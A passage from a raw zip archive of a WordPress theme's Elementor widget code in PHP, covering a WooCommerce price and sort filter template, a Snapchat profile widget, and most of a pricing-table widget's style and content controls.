		$max = apply_filters( 'woocommerce_price_filter_widget_max_amount', ceil( $prices->max_price ) );

		if ( $min === $max ) {
			return;
		}

		if ( ( is_shop() || is_product_taxonomy() ) && ! wc()->query->get_main_query()->post_count ) {
			return;
		}

		$min_price = isset( $_GET['min_price'] ) ? wc_clean( wp_unslash( $_GET['min_price'] ) ) : $min;
		$max_price = isset( $_GET['max_price'] ) ? wc_clean( wp_unslash( $_GET['max_price'] ) ) : $max;

		?>
        <div class="penci-pf-checkboxes penci-pf-price-range multi_select widget_price_filter">
            <div class="penci-pf-title">
				<span class="title-text">
					<?php echo esc_html( $settings['price_title'] ); ?>
				</span>

                <ul class="penci-pf-results"></ul>
            </div>

            <div class="penci-pf-dropdown">
                <div class="price_slider_wrapper">
                    <div class="price_slider_widget" style="display:none;"></div>

                    <div class="filter_price_slider_amount">
                        <input type="hidden" class="min_price" name="min_price"
                               value="<?php echo esc_attr( $min_price ); ?>" data-min="<?php echo esc_attr( $min ); ?>">
                        <input type="hidden" class="max_price" name="max_price"
                               value="<?php echo esc_attr( $max_price ); ?>" data-max="<?php echo esc_attr( $max ); ?>">

                        <div class="price_label" style="display:none;">
                            <span class="from"></span>
                            <span class="to"></span>
                        </div>
                    </div>
                </div>
            </div>
        </div>
		<?php
	}

	public function orderby_filter_template() {
		$options = array(
			'menu_order' => esc_html__( 'Default sorting', 'woocommerce' ),
			'popularity' => esc_html__( 'Sort by popularity', 'woocommerce' ),
			'rating'     => esc_html__( 'Sort by average rating', 'woocommerce' ),
			'date'       => esc_html__( 'Sort by latest', 'woocommerce' ),
			'price'      => esc_html__( 'Sort by price: low to high', 'woocommerce' ),
			'price-desc' => esc_html__( 'Sort by price: high to low', 'woocommerce' ),
		);

		?>
        <div class="penci-pf-checkboxes penci-pf-sortby">
            <input type="hidden" class="result-input" name="orderby">

            <div class="penci-pf-title">
				<span class="title-text">
					<?php echo esc_html__( 'Sort by', 'soledad' ); ?>
				</span>

                <ul class="penci-pf-results"></ul>
            </div>

            <div class="penci-pf-dropdown penci-scroll">
                <ul class="penci-scroll-content">
					<?php foreach ( $options as $key => $value ) : ?>
                        <li>
							<span class="pf-value" data-val="<?php echo esc_attr( $key ); ?>"
                                  data-title="<?php echo esc_attr( $value ); ?>">
								<?php echo esc_html( $value ); ?>
							</span>
                        </li>
					<?php endforeach; ?>
                </ul>
            </div>
        </div>
		<?php
	}
}
PK     0w\]  ]  +  elementor/modules/penci-snapchat/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciSnapchat;

use PenciSoledadElementor\Base\Module_Base;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}


class Module extends Module_Base {

	public function get_name() {
		return 'penci-snapchat';
	}

	public function get_widgets() {
		return array( 'PenciSnapchat' );
	}
}
PK     0w\Vv    ;  elementor/modules/penci-snapchat/widgets/penci-snapchat.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciSnapchat\Widgets;

use PenciSoledadElementor\Base\Base_Widget;
use PenciSoledadElementor\Base\Base_Color;
use Elementor\Controls_Manager;
use Elementor\Group_Control_Typography;
use Elementor\Group_Control_Image_Size;
use Elementor\Utils;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciSnapchat extends Base_Widget {

	public function get_name() {
		return 'penci-snapchat';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Snapchat', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-icon-box';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'category' );
	}

	protected function register_controls() {


		// Section layout
		$this->start_controls_section( 'section_settings', array(
			'label' => esc_html__( 'General', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );

		$this->add_control( 'username', array(
			'label' => __( 'Account Name:', 'soledad' ),
			'type'  => Controls_Manager::TEXT,
		) );

		$this->add_control( 'userid', array(
			'label' => __( 'Account ID:', 'soledad' ),
			'type'  => Controls_Manager::TEXT,
		) );

		$this->add_control( 'avatar', array(
			'label' => __( 'Avatar', 'soledad' ),
			'type'  => Controls_Manager::MEDIA,
		) );

		$this->add_responsive_control( 'avatar_size', array(
			'label'      => __( 'Avatar Size', 'soledad' ),
			'type'       => Controls_Manager::SLIDER,
			'range'      => array(
				'%'  => array( 'min' => 0, 'max' => 100 ),
				'px' => array( 'min' => 0, 'max' => 2000 )
			),
			'size_units' => array( '%', 'px' ),
			'selectors'  => array(
				'{{WRAPPER}} .penci_snapchat_widget .pc-snapchat-avatar' => 'width: {{SIZE}}{{UNIT}};height: {{SIZE}}{{UNIT}};'
			)
		) );

		$this->add_control( 'style', array(
			'label'   => __( 'Style', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'rounded',
			'options' => [
				'rounded' => 'Rounded',
				'circle'  => 'Circle',
			]
		) );

		$this->add_control( 'bgstyle', array(
			'label'   => __( 'Background Style', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'flat',
			'options' => [
				'flat' => 'Flat',
				'dots' => 'Dots',
			]
		) );

		$this->add_responsive_control( 'badge_size', array(
			'label'      => __( 'Custom Badge Size', 'soledad' ),
			'type'       => Controls_Manager::SLIDER,
			'range'      => array(
				'%'  => array( 'min' => 0, 'max' => 100 ),
				'px' => array( 'min' => 0, 'max' => 2000 )
			),
			'size_units' => array( '%', 'px' ),
			'selectors'  => array(
				'{{WRAPPER}} .penci_snapchat_widget .pc-snapchat-badge' => 'width: {{SIZE}}{{UNIT}};height: {{SIZE}}{{UNIT}};'
			)
		) );

		$this->add_control( 'text_align', array(
			'label'                => __( 'Alignment', 'soledad' ),
			'type'                 => Controls_Manager::CHOOSE,
			'options'              => array(
				'left'   => array(
					'title' => __( 'Left', 'elementor' ),
					'icon'  => 'eicon-text-align-left',
				),
				'center' => array(
					'title' => __( 'Center', 'elementor' ),
					'icon'  => 'eicon-text-align-center',
				),
				'right'  => array(
					'title' => __( 'Right', 'elementor' ),
					'icon'  => 'eicon-text-align-right',
				)
			),
		) );

		$this->end_controls_section();

		$this->register_block_title_section_controls();

		$this->start_controls_section( 'section_style_image', array(
			'label' => __( 'Color & Style', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		) );


		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'author_name_typo',
			'label'    => __( 'Account Name Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .pc-snapchat-wrapper .pc-snapchat-name',
		) );

		$this->add_control( 'name_color', array(
			'label'     => __( 'Account Name Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .pc-snapchat-wrapper .pc-snapchat-name' => 'color: {{VALUE}};' ),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'author_id_typo',
			'label'    => __( 'Account ID Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .pc-snapchat-wrapper .pc-snapchat-id',
		) );

		$this->add_control( 'id_color', array(
			'label'     => __( 'Account ID Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .pc-snapchat-wrapper .pc-snapchat-id' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'badge_bcolor', array(
			'label'     => __( 'Badge Border Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .penci_snapchat_widget .pc-snapchat-badge' => 'border-color: {{VALUE}};' ),
		) );

		$this->end_controls_section();
		$this->register_block_title_style_section_controls();

	}

	protected function render() {
		$instance   = $this->get_settings();
		$ptext_align = isset( $instance['text_align'] ) ? $instance['text_align'] : 'center';
		if ( ! empty( $instance['username'] ) && ! empty( $instance['userid'] ) && ! empty( $instance['avatar'] ) ) {
			$img_class = ! empty( $instance['style'] ) ? 'is-' . $instance['style'] : 'is-rounded';
			$imgstyle  = ! empty( $instance['bgstyle'] ) ? $instance['bgstyle'] : 'flat';
			$userid    = str_replace( '@', '', $instance['userid'] );

			$bghtmlbg_src = 'data-bgset="' . PENCI_SOLEDAD_URL . '/images/snapchat_' . $imgstyle . '.png"';
			$bghtml_src   = 'data-bgset="' . $instance['avatar']['url'] . '"';
			$this->markup_block_title( $instance, $this );
			?>
            <div class="penci_snapchat_widget <?php echo 'pcsnapal-' . $ptext_align; ?>">
                <div class="pc-snapchat-wrapper">
                    <a href="https://snapchat.com/add/<?php echo $userid ?>" rel="external noopener nofollow">
						<span class="pc-snapchat-badge <?php echo $img_class; ?>">
                            <span class="pc-snapchat-badge-over penci-image-holder penci-lazy" <?php echo $bghtmlbg_src; ?>></span>
                            <span class="pc-snapchat-avatar penci-image-holder penci-lazy" <?php echo $bghtml_src; ?>></span>
						</span>
                        <span class="pc-snapchat-name"><?php echo $instance['username'] ?></span>
                        <span class="pc-snapchat-id">@<?php echo $userid ?></span>
                    </a>
                </div>
            </div>
			<?php
		} else {
			echo __( 'Enter the required account info.', 'soledad' );
		}

	}
}
PK     1w\z"  "  0  elementor/modules/penci-pricing-table/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciPricingTable;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci-pricing-table';
	}

	public function get_widgets() {
		return array( 'PenciPricingTable' );
	}
}
PK     1w\zfh  fh  E  elementor/modules/penci-pricing-table/widgets/penci-pricing-table.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciPricingTable\Widgets;

use PenciSoledadElementor\Base\Base_Widget;
use Elementor\Controls_Manager;
use Elementor\Group_Control_Image_Size;
use Elementor\Control_Media;
use Elementor\Group_Control_Typography;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciPricingTable extends Base_Widget {

	public function get_name() {
		return 'penci-pricing-table';
	}

	public function get_title() {
		return penci_get_theme_name('Penci').' '.esc_html__( ' Pricing Table', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-price-table';
	}
	
	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'Pricing', 'Table' );
	}

	protected function register_controls() {
		

		$this->start_controls_section(
			'section_general', array(
				'label' => esc_html__( 'Pricing Table', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);
		$this->add_control(
			'_design_style', array(
				'label'   => __( 'Choose Style', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 's1',
				'options' => array(
					's1' => esc_html__( 'Style 1', 'soledad' ),
					's2' => esc_html__( 'Style 2', 'soledad' ),
				)
			)
		);

		$this->add_control(
			'_featured_header', array(
				'label'     => esc_html__( 'Featured Header?', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'label_on'  => __( 'Yes', 'soledad' ),
				'label_off' => __( 'No', 'soledad' ),
				'separator' => 'before',
			)
		);

		$this->add_control(
			'_use_img', array(
				'label'     => esc_html__( 'Add image', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'label_on'  => __( 'Yes', 'soledad' ),
				'label_off' => __( 'No', 'soledad' ),
			)
		);

		$this->add_control(
			'_image',
			array(
				'label'     => __( 'Choose Image', 'soledad' ),
				'type'      => Controls_Manager::MEDIA,
				'condition' => array( '_use_img' => 'yes' ),
			)
		);

		$this->add_group_control(
			Group_Control_Image_Size::get_type(), array(
				'name'      => 'thumbnail', // Usage: `{name}_size` and `{name}_custom_dimension`, in this case `thumbnail_size` and `thumbnail_custom_dimension`.
				'default'   => 'thumbnail',
				'separator' => 'none',
				'condition' => array( '_use_img' => 'yes' ),
			)
		);

		$this->add_responsive_control(
			'image_width', array(
				'label'     => __( 'Image Width', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 600, ) ),
				'selectors' => array( '{{WRAPPER}} .penci-pricing-image' => 'max-width: {{SIZE}}px; width: 100%;' ),
				'condition' => array( '_use_img' => 'yes' ),
			)
		);
		$this->add_responsive_control(
			'image_height', array(
				'label'     => __( 'Image Height', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 300, ) ),
				'selectors' => array( '{{WRAPPER}} .penci-pricing-image' => 'height: {{SIZE}}px;' ),
				'condition' => array( '_use_img' => 'yes' ),
			)
		);
		$this->add_responsive_control(
			'image_mar_top', array(
				'label'     => __( 'Image margin top', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 300, ) ),
				'selectors' => array( '{{WRAPPER}} .penci-pricing-image' => 'margin-top: {{SIZE}}px;' ),
				'condition' => array( '_use_img' => 'yes' )
			)
		);
		$this->add_responsive_control(
			'image_mar_bottom', array(
				'label'     => __( 'Image margin bottom', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 300, ) ),
				'selectors' => array( '{{WRAPPER}} .penci-pricing-image' => 'margin-bottom: {{SIZE}}px;' ),
				'condition' => array( '_use_img' => 'yes' ),
				'separator' => 'after',
			)
		);

		$this->add_control(
			'_use_icon', array(
				'label'     => esc_html__( 'Add Icon', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'label_on'  => __( 'Yes', 'soledad' ),
				'label_off' => __( 'No', 'soledad' ),
			)
		);

		$this->add_control(
			'_icon', array(
				'label'     => esc_html__( 'Select Icon', 'soledad' ),
				'type'      => Controls_Manager::ICONS,
				'default'   => array(
					'value'   => 'fas fa-star',
					'library' => 'solid',
				),
				'condition' => array( '_use_icon' => 'yes' ),
			)
		);

		$this->add_responsive_control(
			'icon_mar_top', array(
				'label'     => __( 'Icon margin top', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 300, ) ),
				'selectors' => array( '{{WRAPPER}} .penci-pricing-icon' => 'margin-top: {{SIZE}}px;' ),
				'condition' => array( '_use_icon' => 'yes' )
			)
		);

		$this->add_responsive_control(
			'icon_mar_bottom', array(
				'label'     => __( 'Icon margin bottom', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 300, ) ),
				'selectors' => array( '{{WRAPPER}} .penci-pricing-icon' => 'margin-bottom: {{SIZE}}px;' ),
				'condition' => array( '_use_icon' => 'yes' ),
				'separator' => 'after',
			)
		);

		$this->add_control(
			'_heading', array(
				'label'   => __( 'Pricing Name / Title', 'soledad' ),
				'default' => __( 'Pricing Plan', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
			)
		);
		$this->add_control(
			'_subheading', array(
				'label'   => __( 'Pricing  Subtitle', 'soledad' ),
				'default' => __( 'Pricing Short Text', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
			)
		);
		$this->add_control(
			'_price', array(
				'label'   => __( 'Pricing', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'default' => __( '$99', 'soledad' ),
			)
		);

		$this->add_control(
			'_unit', array(
				'label'   => __( 'Pricing Unit', 'soledad' ),
				'default' => __( '/month', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
			)
		);
		$this->add_control(
			'pricing_oneline', array(
				'label'     => esc_html__( 'Display Pricing & Pricing Unit in One Line?', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'label_on'  => __( 'Yes', 'soledad' ),
				'label_off' => __( 'No', 'soledad' ),
			)
		);
		$this->add_control(
			'content', array(
				'label'   => '',
				'type'    => Controls_Manager::WYSIWYG,
				'dynamic' => array( 'active' => true ),
				'default' => '<ul><li>Example Feature 1</li><li>Example Feature 2</li><li>Example Feature 3</li><li>Example Feature 4</li></ul>',
			)
		);
		$this->add_control(
			'_btn_text', array(
				'label'     => __( 'Button Text', 'soledad' ),
				'type'      => Controls_Manager::TEXT,
				'separator' => 'before',
				'default'   => __( 'Sign Up', 'soledad' ),
			)
		);

		$this->add_control(
			'_btn_link',
			array(
				'label'       => __( 'Button Link', 'soledad' ),
				'type'        => Controls_Manager::URL,
				'placeholder' => __( 'https://your-link.com', 'soledad' ),
				'separator'   => 'after',
			)
		);

		$this->add_control(
			'_btn_pos', array(
				'label'   => __( 'Button Position', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'below',
				'options' => array(
					'below' => esc_html__( 'Below Content', 'soledad' ),
					'above' => esc_html__( 'Above Content', 'soledad' ),
				)
			)
		);

		$this->add_control(
			'_featured', array(
				'label'     => esc_html__( 'Make this pricing box as featured', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'label_on'  => __( 'Yes', 'soledad' ),
				'label_off' => __( 'No', 'soledad' ),
				'separator' => 'before',
			)
		);

		$this->add_control(
			'_featured_style', array(
				'label'     => __( 'Featured Style', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => 'hheight',
				'options'   => array(
					'hheight' => esc_html__( 'Highlight Height', 'soledad' ),
					'scale'   => esc_html__( 'Scale Up', 'soledad' ),
				),
				'condition' => array(
					'_featured' => 'yes',
				)
			)
		);

		$this->add_control(
			'add_ribb', array(
				'label'   => __( 'Add Ribbon?', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => '',
				'options' => array(
					''         => esc_html__( 'None', 'soledad' ),
					'rib_icon' => esc_html__( 'Ribbon Icon', 'soledad' ),
					'rib_text' => esc_html__( 'Ribbon Text', 'soledad' ),
				),
			)
		);

		$this->add_control(
			'ribb_icon', array(
				'label'     => __( 'Custom Ribbon Icon', 'soledad' ),
				'type'      => Controls_Manager::ICONS,
				'default'   => array(
					'value'   => 'fas fa-star',
					'library' => 'solid',
				),
				'condition' => array( 'add_ribb' => 'rib_icon' )
			)
		);

		$this->add_control(
			'ribb_text', array(
				'label'     => __( 'Custom Ribbon Text', 'soledad' ),
				'type'      => Controls_Manager::TEXT,
				'default'   => __( 'Best Value', 'soledad' ),
				'condition' => array( 'add_ribb' => 'rib_text' )
			)
		);

		$this->add_control(
			'min_height', array(
				'label'     => __( 'Minimum height for pricing item', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 1000, ) ),
				'selectors' => array( '{{WRAPPER}} .penci-pricing-item' => 'min-height: {{SIZE}}px' ),
			)
		);

		$this->end_controls_section();
		$this->start_controls_section(
			'section_style_content',
			array(
				'label' => __( 'Pricing Table', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);

		$this->add_control(
			'_bg_color', array(
				'label'     => __( 'Background Color for Pricing Table', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .penci-pricing-item' => 'background-color: {{VALUE}};' ),
			)
		);
		$this->add_control(
			'_pborder_color', array(
				'label'     => __( 'Border Color for Pricing Table', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .penci-pricing-item' => 'border-color: {{VALUE}};' ),
			)
		);

		$this->add_control(
			'_featured_header_bg', array(
				'label'     => __( 'Featured Header Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .penci-pricing-fheader .penci-pricing-header' => 'background-color: {{VALUE}};' ),
				'condition' => array( '_featured_header' => 'yes' ),
			)
		);

		$this->add_control(
			'icon_heading_settings',
			array(
				'label'     => __( 'Icon', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'condition' => array( '_use_icon' => 'yes' ),
			)
		);

		$this->add_control(
			'_icon_color', array(
				'label'     => __( 'Icon Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .penci-pricing-icon' => 'color: {{VALUE}};' ),
				'condition' => array( '_use_icon' => 'yes' ),
			)
		);

		$this->add_responsive_control(
			'_icon_font_size', array(
				'label'     => __( 'Icon Font Size', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 300, ) ),
				'selectors' => array( '{{WRAPPER}} .penci-pricing-icon' => 'font-size: {{SIZE}}px' ),
				'condition' => array( '_use_icon' => 'yes' ),
			)
		);

		$this->add_control(
			'title_heading_settings',
			array(
				'label' => __( 'Title', 'soledad' ),
				'type'  => Controls_Manager::HEADING,
			)
		);

		$this->add_control(
			'_heading_color', array(
				'label'     => __( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .penci-pricing-title' => 'color: {{VALUE}};' ),
			)
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => '_heading_typo',
				'label'    => __( 'Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-pricing-title',
			)
		);
		$this->add_responsive_control(
			'_heading_mar_bottom', array(
				'label'     => __( 'Margin Bottom', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
				'selectors' => array( '{{WRAPPER}} .penci-pricing-title' => 'margin-bottom: {{SIZE}}px' ),
			)
		);

		// Sub title
		$this->add_control(
			'subtitle_heading_settings',
			array(
				'label' => __( 'Subtitle', 'soledad' ),
				'type'  => Controls_Manager::HEADING,
			)
		);
		$this->add_control(
			'_subheading_color', array(
				'label'     => __( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .penci-pricing-subtitle' => 'color: {{VALUE}};' ),
			)
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => '_subheading_typo',
				'label'    => __( 'Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-pricing-subtitle',
			)
		);
		$this->add_responsive_control(
			'_subheading_mar_bottom', array(
				'label'     => __( 'Margin Bottom', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
				'selectors' => array( '{{WRAPPER}} .penci-pricing-subtitle' => 'margin-bottom: {{SIZE}}px' ),
			)
		);

		// Price title
		$this->add_control(
			'_price_heading_settings',
			array(
				'label' => __( 'Price', 'soledad' ),
				'type'  => Controls_Manager::HEADING,
			)
		);
		$this->add_control(
			'_price_color', array(
				'label'     => __( 'Price Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .penci-pricing-price' => 'color: {{VALUE}};' ),
			)
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => '_price_typo',
				'label'    => __( 'Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-pricing-price',
			)
		);
		$this->add_responsive_control(
			'_price_mar_bottom', array(
				'label'     => __( 'Margin Bottom', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 200 ) ),
				'selectors' => array( '{{WRAPPER}} .penci-pricing-price' => 'margin-bottom: {{SIZE}}px' ),
			)
		);

		// Price Unit
		$this->add_control(
			'_unit_heading_settings',
			array(
				'label' => __( 'Price Unit', 'soledad' ),
				'type'  => Controls_Manager::HEADING,
			)
		);
		$this->add_control(
			'_unit_color', array(
				'label'     => __( 'Price Unit Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .penci-pricing-unit' => 'color: {{VALUE}};' ),
			)
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => '_unit_typo',
				'label'    => __( 'Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-pricing-unit',
			)
		);
		$this->add_responsive_control(
			'_unit_mar_bottom', array(
				'label'     => __( 'Margin Bottom', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
				'selectors' => array( '{{WRAPPER}} .penci-pricing-unit' => 'margin-bottom: {{SIZE}}px' ),
			)
		);

		// Features
		$this->add_control(
			'features_heading_settings',
			array(
				'label' => __( 'Features', 'soledad' ),
				'type'  => Controls_Manager::HEADING,
			)
		);
		$this->add_control(
			'features_color', array(
				'label'     => __( 'Features Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .penci-pricing-featured' => 'color: {{VALUE}};' ),
			)
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'features_typo',
				'label'    => __( 'Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-pricing-featured',
			)
		);
		$this->add_responsive_control(
			'features_mar_bottom', array(
				'label'     => __( 'Margin Bottom', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
				'selectors' => array( '{{WRAPPER}} .penci-pricing-featured' => 'margin-bottom: {{SIZE}}px' ),
			)
		);
		$this->add_control(
			'item_fea_bottom', array(
				'label'     => __( 'Item of list features margin bottom', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 1000, ) ),
				'selectors' => array( '{{WRAPPER}} .penci-pricing-featured li, .penci-pricing-featured p' => 'margin-bottom: {{SIZE}}px' ),
			)
		);

		$this->add_control(
			'_ribbon_color', array(
				'label'     => __( 'Ribbon Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .penci-pricing_featured .penci-pricing-ribbon, {{WRAPPER}} .penci-pricing_featured .penci-pricing-ribbon-text' => 'background-color: {{VALUE}};' ),
				'condition' => array(
					'add_ribb' => array( 'rib_text', 'rib_icon' )
				)
			)
		);

		$this->add_control(
			'_ribbon_tcolor', array(
				'label'     => __( 'Ribbon Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .penci-pricing_featured .penci-pricing-ribbon, {{WRAPPER}} .penci-pricing_featured .penci-pricing-ribbon-text' => 'color: {{VALUE}};' ),
				'condition' => array(
					'add_ribb' => array( 'rib_text', 'rib_icon' )
				)
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'      => 'ribbon_typo',
				'label'     => __( 'Ribbon Text Typography', 'soledad' ),
				'selector'  => '{{WRAPPER}} .penci-pricing_featured .penci-pricing-ribbon-text',
				'condition' => array(
					'add_ribb' => 'rib_text',
				)
			)
		);

		$this->end_controls_section();
		$this->start_controls_section(
			'section_style_button',
			array(
				'label' => __( 'Pricing Table Button', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);

		$this->add_control(
			'button_style', array(
				'label'   => __( 'Button Style', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'filled',
				'options' => array(
					'filled'   => esc_html__( 'Filled', 'soledad' ),
					'bordered' => esc_html__( 'Bordered', 'soledad' ),
				),
			)
		);

		$this->add_control(
			'psubmitbtn_color',
			array(
				'label'     => __( 'Button Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-pricing-btn' => 'color: {{VALUE}};' ),
			)
		);
		$this->add_control(
			'psubmitbtn_bgcolor',
			array(
				'label'     => __( 'Button Background & Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-pricing-btn' => 'background-color: {{VALUE}};border-color: {{VALUE}};' ),
			)
		);
		$this->add_control(
			'psubmitbtn_hcolor',
			array(
				'label'     => __( 'Button Hover Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-pricing-btn:hover' => 'color: {{VALUE}};' ),
			)
		);
		$this->add_control(
			'psubmitbtn_hbgcolor',
			array(
				'label'     => __( 'Button Background & Border Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-pricing-btn:hover' => 'background-color: {{VALUE}};border-color: {{VALUE}};' ),
			)
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'psubmitbtn_typo',
				'label'    => __( 'Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-pricing-btn',
			)
		);

		$this->add_responsive_control(
			'button_radius', array(
				'label'      => __( 'Borders Radius', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', '%', 'em' ),
				'selectors'  => array(
					'{{WRAPPER}} .penci-pricing-item .penci-pricing-btn' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
				),
			)
		);

		$this->add_responsive_control(
			'button_borders_width', array(
				'label'      => __( 'Borders Width', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', '%', 'em' ),
				'selectors'  => array(
					'{{WRAPPER}} .penci-pricing-item .penci-pricing-btn' => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
				),
			)
		);

		$this->add_control(
			'btn_mar_top', array(
				'label'     => __( 'Button margin top', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 1000, ) ),
				'selectors' => array( '{{WRAPPER}} .penci-pricing-btn' => 'margin-top: {{SIZE}}px' ),
			)
		);
		$this->add_control(
			'btn_mar_bt', array(
				'label'     => __( 'Button margin bottom', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 1000, ) ),
